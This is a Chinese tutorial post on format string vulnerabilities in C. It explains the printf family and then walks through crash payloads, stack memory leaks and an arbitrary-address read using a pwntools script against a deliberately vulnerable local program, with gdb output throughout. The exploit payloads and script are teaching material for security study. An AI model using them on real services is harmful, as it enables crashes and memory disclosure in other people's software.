格式化字符串漏洞

admin 2022年1月6日01:11:39评论55 views字数 32808阅读109分21秒阅读模式

格式化字符串漏洞原理介绍

格式化字符串函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

img

格式化字符串函数

常见的有格式化字符串函数有

  • 输入
    • scanf
  • 输出
函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 。。。

格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下

%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

这里我们了解一下格式化字符串的格式,其基本格式如下

%[parameter][flags][field width][.precision][length]type

每一种 pattern 的含义请具体参考维基百科的格式化字符串 。以下几个 pattern 中的对应选择需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ‘%‘字面值,不接受任何 flags, width。

参数

就是相应的要输出的变量。

格式化字符串原理

在一开始,我们就给出格式化字符串的基本介绍,这里再说一些比较细致的内容。我们上面说,格式化字符串函数是根据格式化字符串函数来进行解析的。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说’%s’表明我们会输出一个字符串参数。

我们再继续以上面的为例子进行介绍

基本例子

对于这样的例子,在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

some value
3.14
123456
addr of "red"
addr of format string: Color %s...

注:这里我们假设 3.14 上面的值为某个未知的值。

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

这基本就是格式化字符串漏洞的基本原理了。

参考阅读

格式化字符串漏洞利用

其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段

  • 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
  • 查看进程内容,根据 %d,%f 输出了栈上的内容。

下面我们会对于每一方面进行更加详细的解释。

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

泄漏内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息。

泄漏栈内存

例如,给定如下程序

#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

然后,我们简单编译一下

$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
printf(s);
^

可以看出,编译器指出了我们的程序中没有给出格式化字符串的参数的问题。下面,我们来看一下,如何获取对应的栈内存。

根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取)。这里我们主要介绍 32 位。

获取栈变量数值

首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下,运行结果如下

$ ./leakmemory
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x
ffad3cf0.000000c2.f7e639db

可以看到,我们确实得到了一些内容。为了更加细致的观察,我们利用 GDB 来调试一下,以便于验证我们的想法,这里删除了一些不必要的信息,我们只关注代码段以及栈。

首先,启动程序,将断点下载 printf 函数处

gdb leakmemory
gdb-peda$ b printf
Breakpoint 1 at 0x8048330

之后,运行程序

gdb-peda$ r
Starting program: /home/oldthree/Desktop/leakmemory

此时,程序等待我们的输入,这时我们输入 %08x.%08x.%08x,然后敲击回车,是程序继续运行,可以看出程序首先断在了第一次调用 printf 函数的位置

[----------------------------------registers-------------------------------]
EAX: 0xffffce60 ("%08x.%08x.%08x")
EBX: 0x0
ECX: 0x1
EDX: 0xf7fb687c --> 0x0
ESI: 0xf7fb5000 --> 0x1afdb0
EDI: 0xf7fb5000 --> 0x1afdb0
EBP: 0xffffced8 --> 0x0
ESP: 0xffffce3c --> 0x80484bf (<main+84>: add esp,0x20)
EIP: 0xf7e4e030 (<printf>: call 0xf7f22369)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code---------------------------------]
0xf7e4e02b <fprintf+27>: ret
0xf7e4e02c: xchg ax,ax
0xf7e4e02e: xchg ax,ax
=> 0xf7e4e030 <printf>: call 0xf7f22369
0xf7e4e035 <printf+5>: add eax,0x166fcb
0xf7e4e03a <printf+10>: sub esp,0xc
0xf7e4e03d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4e043 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack---------------------------------]
0000| 0xffffce3c --> 0x80484bf (<main+84>: add esp,0x20)
0004| 0xffffce40 --> 0x8048563 ("%08x.%08x.%08x.%s\n")
0008| 0xffffce44 --> 0x1
0012| 0xffffce48 ("\"\"\"\"\377\377\377\377`\316\377\377`\316\377\377", <incomplete sequence \302>)
0016| 0xffffce4c --> 0xffffffff
0020| 0xffffce50 --> 0xffffce60 ("%08x.%08x.%08x")
0024| 0xffffce54 --> 0xffffce60 ("%08x.%08x.%08x")
0028| 0xffffce58 --> 0xc2
[--------------------------------------------------------------------------]

可以看出,此时此时已经进入了 printf 函数中,栈中第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为 a 的值,第四个变量为 b 的值,第五个变量为 c 的值,第六个变量为我们输入的格式化字符串对应的地址。继续运行程序

gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个 printf 处

Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28 in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4466d nop
0xf7e4466e xchg ax, ax
→ 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax>
↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffcd00│+0x04: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10 → "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x" ← $eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd04 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。继续运行,我们可以得到如下结果去,确实和想象中的一样。

gdb-peda$ c
Continuing.
ffffce60.000000c2.f7e949db[Inferior 1 (process 13081) exited normally]

当然,我们也可以使用 %p 来获取数据,如下

%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xff9cb970.0xc2.0xf7e6b9db

这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第 n+1 个参数的值呢?肯定是可以的啦。方法如下

%n$x

利用如下的字符串,我们就可以获取到对应的第 n+1 个参数的数值。为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。

这里我们再次以 gdb 调试一下。

gdb leakmemory
gdb-peda$ b printf
Breakpoint 1 at 0x8048330
gdb-peda$ r
Starting program: /home/oldthree/Desktop/leakmemory
%3$x
[----------------------------------registers-----------------------------------]
EAX: 0xffffd440 ("%3$x")
EBX: 0x0
ECX: 0x1
EDX: 0xf7fb687c --> 0x0
ESI: 0xf7fb5000 --> 0x1afdb0
EDI: 0xf7fb5000 --> 0x1afdb0
EBP: 0xffffd4b8 --> 0x0
ESP: 0xffffd41c --> 0x80484bf (<main+84>: add esp,0x20)
EIP: 0xf7e4e030 (<printf>: call 0xf7f22369)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e4e02b <fprintf+27>: ret
0xf7e4e02c: xchg ax,ax
0xf7e4e02e: xchg ax,ax
=> 0xf7e4e030 <printf>: call 0xf7f22369
0xf7e4e035 <printf+5>: add eax,0x166fcb
0xf7e4e03a <printf+10>: sub esp,0xc
0xf7e4e03d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4e043 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd41c --> 0x80484bf (<main+84>: add esp,0x20)
0004| 0xffffd420 --> 0x8048563 ("%08x.%08x.%08x.%s\n")
0008| 0xffffd424 --> 0x1
0012| 0xffffd428 ("\"\"\"\"\377\377\377\377@\324\377\377@\324\377\377", <incomplete sequence \302>)
0016| 0xffffd42c --> 0xffffffff
0020| 0xffffd430 --> 0xffffd440 ("%3$x")
0024| 0xffffd434 --> 0xffffd440 ("%3$x")
0028| 0xffffd438 --> 0xc2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e4e030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%3$x
[----------------------------------registers-----------------------------------]
EAX: 0xffffd440 ("%3$x")
EBX: 0x0
ECX: 0x7fffffe0
EDX: 0xf7fb6870 --> 0x0
ESI: 0xf7fb5000 --> 0x1afdb0
EDI: 0xf7fb5000 --> 0x1afdb0
EBP: 0xffffd4b8 --> 0x0
ESP: 0xffffd42c --> 0x80484ce (<main+99>: add esp,0x10)
EIP: 0xf7e4e030 (<printf>: call 0xf7f22369)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e4e02b <fprintf+27>: ret
0xf7e4e02c: xchg ax,ax
0xf7e4e02e: xchg ax,ax
=> 0xf7e4e030 <printf>: call 0xf7f22369
0xf7e4e035 <printf+5>: add eax,0x166fcb
0xf7e4e03a <printf+10>: sub esp,0xc
0xf7e4e03d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4e043 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd42c --> 0x80484ce (<main+99>: add esp,0x10)
0004| 0xffffd430 --> 0xffffd440 ("%3$x")
0008| 0xffffd434 --> 0xffffd440 ("%3$x")
0012| 0xffffd438 --> 0xc2
0016| 0xffffd43c --> 0xf7e949db (add esp,0x10)
0020| 0xffffd440 ("%3$x")
0024| 0xffffd444 --> 0xffffd500 --> 0x0
0028| 0xffffd448 --> 0xe0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e4e030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
f7e949db[Inferior 1 (process 13810) exited normally]

可以看出,我们确实获得了 printf 的第 4 个参数所对应的值 f7e949db。

获取栈变量对应字符串

此外,我们还可以获得栈变量对应的字符串,这其实就是需要用到 %s 了。这里还是使用上面的程序,进行 gdb 调试,如下

gdb-peda$ b printf
Breakpoint 1 at 0x8048330
gdb-peda$ r
Starting program: /home/oldthree/Desktop/leakmemory
%s
[----------------------------------registers-----------------------------------]
EAX: 0xffffd440 --> 0xff007325
EBX: 0x0
ECX: 0x1
EDX: 0xf7fb687c --> 0x0
ESI: 0xf7fb5000 --> 0x1afdb0
EDI: 0xf7fb5000 --> 0x1afdb0
EBP: 0xffffd4b8 --> 0x0
ESP: 0xffffd41c --> 0x80484bf (<main+84>: add esp,0x20)
EIP: 0xf7e4e030 (<printf>: call 0xf7f22369)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e4e02b <fprintf+27>: ret
0xf7e4e02c: xchg ax,ax
0xf7e4e02e: xchg ax,ax
=> 0xf7e4e030 <printf>: call 0xf7f22369
0xf7e4e035 <printf+5>: add eax,0x166fcb
0xf7e4e03a <printf+10>: sub esp,0xc
0xf7e4e03d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4e043 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd41c --> 0x80484bf (<main+84>: add esp,0x20)
0004| 0xffffd420 --> 0x8048563 ("%08x.%08x.%08x.%s\n")
0008| 0xffffd424 --> 0x1
0012| 0xffffd428 ("\"\"\"\"\377\377\377\377@\324\377\377@\324\377\377", <incomplete sequence \302>)
0016| 0xffffd42c --> 0xffffffff
0020| 0xffffd430 --> 0xffffd440 --> 0xff007325
0024| 0xffffd434 --> 0xffffd440 --> 0xff007325
0028| 0xffffd438 --> 0xc2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e4e030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
00000001.22222222.ffffffff.%s
[----------------------------------registers-----------------------------------]
EAX: 0xffffd440 --> 0xff007325
EBX: 0x0
ECX: 0x7fffffe2
EDX: 0xf7fb6870 --> 0x0
ESI: 0xf7fb5000 --> 0x1afdb0
EDI: 0xf7fb5000 --> 0x1afdb0
EBP: 0xffffd4b8 --> 0x0
ESP: 0xffffd42c --> 0x80484ce (<main+99>: add esp,0x10)
EIP: 0xf7e4e030 (<printf>: call 0xf7f22369)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e4e02b <fprintf+27>: ret
0xf7e4e02c: xchg ax,ax
0xf7e4e02e: xchg ax,ax
=> 0xf7e4e030 <printf>: call 0xf7f22369
0xf7e4e035 <printf+5>: add eax,0x166fcb
0xf7e4e03a <printf+10>: sub esp,0xc
0xf7e4e03d <printf+13>: mov eax,DWORD PTR [eax-0x68]
0xf7e4e043 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd42c --> 0x80484ce (<main+99>: add esp,0x10)
0004| 0xffffd430 --> 0xffffd440 --> 0xff007325
0008| 0xffffd434 --> 0xffffd440 --> 0xff007325
0012| 0xffffd438 --> 0xc2
0016| 0xffffd43c --> 0xf7e949db (add esp,0x10)
0020| 0xffffd440 --> 0xff007325
0024| 0xffffd444 --> 0xffffd56c --> 0xffffd6f2 ("LC_TERMINAL_VERSION=3.4.3")
0028| 0xffffd448 --> 0xe0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xf7e4e030 in printf () from /lib32/libc.so.6
gdb-peda$ c
Continuing.
%s[Inferior 1 (process 13866) exited normally]

可以看出,在第二次执行 printf 函数的时候,确实是将 0xffff440 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。

当然,并不是所有这样的都会正常运行,如果对应的变量不能够被解析为字符串地址,那么,程序就会直接崩溃。

此外,我们也可以指定获取栈上第几个参数作为格式化字符串输出,比如我们指定第 printf 的第 3 个参数,如下,此时程序就不能够解析,就崩溃了。

$ ./leakmemory
%2$s
00000001.22222222.ffffffff.%2$s
[1] 13899 segmentation fault (core dumped) ./leakmemory

小技巧总结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容

任意地址泄漏内存

可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。那么我们究竟能不能这样做呢?自然也是可以的啦。

我们再仔细回想一下,一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。我们选择上面的某个函数调用为例

Breakpoint 1, 0xf7e4e030 in printf () from /lib32/libc.so.6
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0xffffd440 → 0xff007325 ("%s"?)
$ebx : 0x0
$ecx : 0x7fffffe2
$edx : 0xf7fb6870 → 0x00000000
$esp : 0xffffd42c → 0x080484ce → <main+99> add esp, 0x10
$ebp : 0xffffd4b8 → 0x00000000
$esi : 0xf7fb5000 → 0x001afdb0
$edi : 0xf7fb5000 → 0x001afdb0
$eip : 0xf7e4e030 → <printf+0> call 0xf7f22369
$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd42c│+0x0000: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffd430│+0x0004: 0xffffd440 → 0xff007325 ("%s"?)
0xffffd434│+0x0008: 0xffffd440 → 0xff007325 ("%s"?)
0xffffd438│+0x000c: 0x000000c2
0xffffd43c│+0x0010: 0xf7e949db → add esp, 0x10
0xffffd440│+0x0014: 0xff007325 ("%s"?)
0xffffd444│+0x0018: 0xffffd56c → 0xffffd6f2 → "LC_TERMINAL_VERSION=3.4.3"
0xffffd448│+0x001c: 0x000000e0

可以看出在栈上的第二个变量就是我们的格式化字符串地址 0xffffd440,同时该地址存储的也确实是是 “%s” 格式化字符串内容。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。

addr%k$s

注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

[tag]%p%p%p%p%p%p...

一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符’A’作为特定字符,同时还是利用之前编译好的程序,如下

$ ./leakmemory
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xff9f83000xc20xf7e799db0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xff9f83c40xf7f9a0000xf377

由 0x41414141 处所在的位置可以看出我们的格式化字符串的起始地址正好是输出函数的第 5 个参数,但是是格式化字符串的第 4 个参数。我们可以来测试一下

$ ./leakmemory
%4$s
00000001.22222222.ffffffff.%4$s
[1] 14375 segmentation fault (core dumped) ./leakmemory

可以看出,我们的程序崩溃了,为什么呢?这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了。具体的可以参考下面的调试。

$eax   : 0xffffd440  →  "%4$s"
$ebx : 0x0
$ecx : 0x7fffffe0
$edx : 0xf7fb6870 → 0x00000000
$esp : 0xffffd42c → 0x080484ce → <main+99> add esp, 0x10
$ebp : 0xffffd4b8 → 0x00000000
$esi : 0xf7fb5000 → 0x001afdb0
$edi : 0xf7fb5000 → 0x001afdb0
$eip : 0xf7e4e030 → <printf+0> call 0xf7f22369
$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd42c│+0x0000: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffffd430│+0x0004: 0xffffd440 → "%4$s"
0xffffd434│+0x0008: 0xffffd440 → "%4$s"
0xffffd438│+0x000c: 0x000000c2
0xffffd43c│+0x0010: 0xf7e949db → add esp, 0x10
0xffffd440│+0x0014: "%4$s"
0xffffd444│+0x0018: 0xffffd500 → 0x00000000
0xffffd448│+0x001c: 0x000000e0
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0xf7e4e027 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]
0xf7e4e02d nop
0xf7e4e02e xchg ax, ax
→ 0xf7e4e030 <printf+0> call 0xf7f22369
↳ 0xf7f22369 mov eax, DWORD PTR [esp]
0xf7f2236c ret
0xf7f2236d mov edx, DWORD PTR [esp]
0xf7f22370 ret
0xf7f22371 mov esi, DWORD PTR [esp]
0xf7f22374 ret
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
0xf7f22369 (
[sp + 0x0] = 0x080484ce → <main+99> add esp, 0x10,
[sp + 0x4] = 0xffffd440 → "%4$s",
[sp + 0x8] = 0xffffd440 → "%4$s"
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "leakmemory", stopped 0xf7e4e030 in printf (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xf7e4e030 → printf()
[#1] 0x80484ce → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ help x/
Examine memory: x/FMT ADDRESS.
ADDRESS is an expression for the memory address to examine.
FMT is a repeat count followed by a format letter and a size letter.
Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string)
and z(hex, zero padded on the left).
Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).
The specified number of objects of the specified size are printed
according to the format.

Defaults for format and size letters are those previously used.
Default count is 1. Default address is following last thing printed
with this command or "print".
gef➤ x/x 0xffffd440
0xffffd440: 0x73243425
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/oldthree/Desktop/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /home/oldthree/Desktop/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /home/oldthree/Desktop/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7e04000 0xf7e05000 0x00000000 rw-
0xf7e05000 0xf7fb2000 0x00000000 r-x /lib32/libc-2.23.so
0xf7fb2000 0xf7fb3000 0x001ad000 --- /lib32/libc-2.23.so
0xf7fb3000 0xf7fb5000 0x001ad000 r-- /lib32/libc-2.23.so
0xf7fb5000 0xf7fb6000 0x001af000 rw- /lib32/libc-2.23.so
0xf7fb6000 0xf7fb9000 0x00000000 rw-
0xf7fd3000 0xf7fd4000 0x00000000 rw-
0xf7fd4000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffc000 0x00000000 r-x /lib32/ld-2.23.so
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib32/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib32/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]
gef➤ x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

显然 0xffffcd20 处所对应的格式化字符串所对应的变量值 0x73243425 并不能够被改程序访问,所以程序就自然崩溃了。

那么如果我们设置一个可访问的地址呢?比如说 scanf@got,结果会怎么样呢?应该自然是输出 scanf 对应的地址了。我们不妨来试一下。

首先,获取 scanf@got 的地址,如下

这里之所以没有使用 printf 函数,是因为 scanf 函数会对 0a,0b,0c,00 等字符有一些奇怪的处理,,导致无法正常读入,,感兴趣的可以试试。。。。

gef➤  got

GOT protection: Partial RelRO | GOT functions: 3

[0x804a00c] printf@GLIBC_2.0 → 0xf7e4e030
[0x804a010] __libc_start_main@GLIBC_2.0 → 0xf7e1d550
[0x804a014] __isoc99_scanf@GLIBC_2.7 → 0xf7e605c0

下面我们利用 pwntools 构造 payload 如下

from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

其中,我们使用 gdb.attach(sh) 来进行调试。当我们运行到第二个 printf 函数的时候 (记得下断点),可以看到我们的第四个参数确实指向我们的 scanf 的地址,这里输出

 → 0xf7615670 <printf+0>       call   0xf76ebb09 <__x86.get_pc_thunk.ax>
↳ 0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]
0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret
0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]
0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffbbf8dc', 'l8']
8
0xffbbf8dc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp
0xffbbf8e0│+0x04: 0xffbbf8f0 → 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp
0xffbbf8e4│+0x08: 0xffbbf8f0 → 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp
0xffbbf8e8│+0x0c: 0x000000c2
0xffbbf8ec│+0x10: 0xf765c6bb → <handle_intel+107> add esp, 0x10
0xffbbf8f0│+0x14: 0x0804a014 → 0xf76280c0 → <__isoc99_scanf+0> push ebp ← $eax
0xffbbf8f4│+0x18: "%4$s"
0xffbbf8f8│+0x1c: 0x00000000

同时,在我们运行的 terminal 下

$ python leakmemory.py 
[+] Starting local process './leakmemory': pid 15368
[*] '/home/oldthree/Desktop/leakmemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
0x804a014
\x14\x04%4$s
[*] running in new terminal: /usr/bin/gdb -q "./leakmemory" 15368
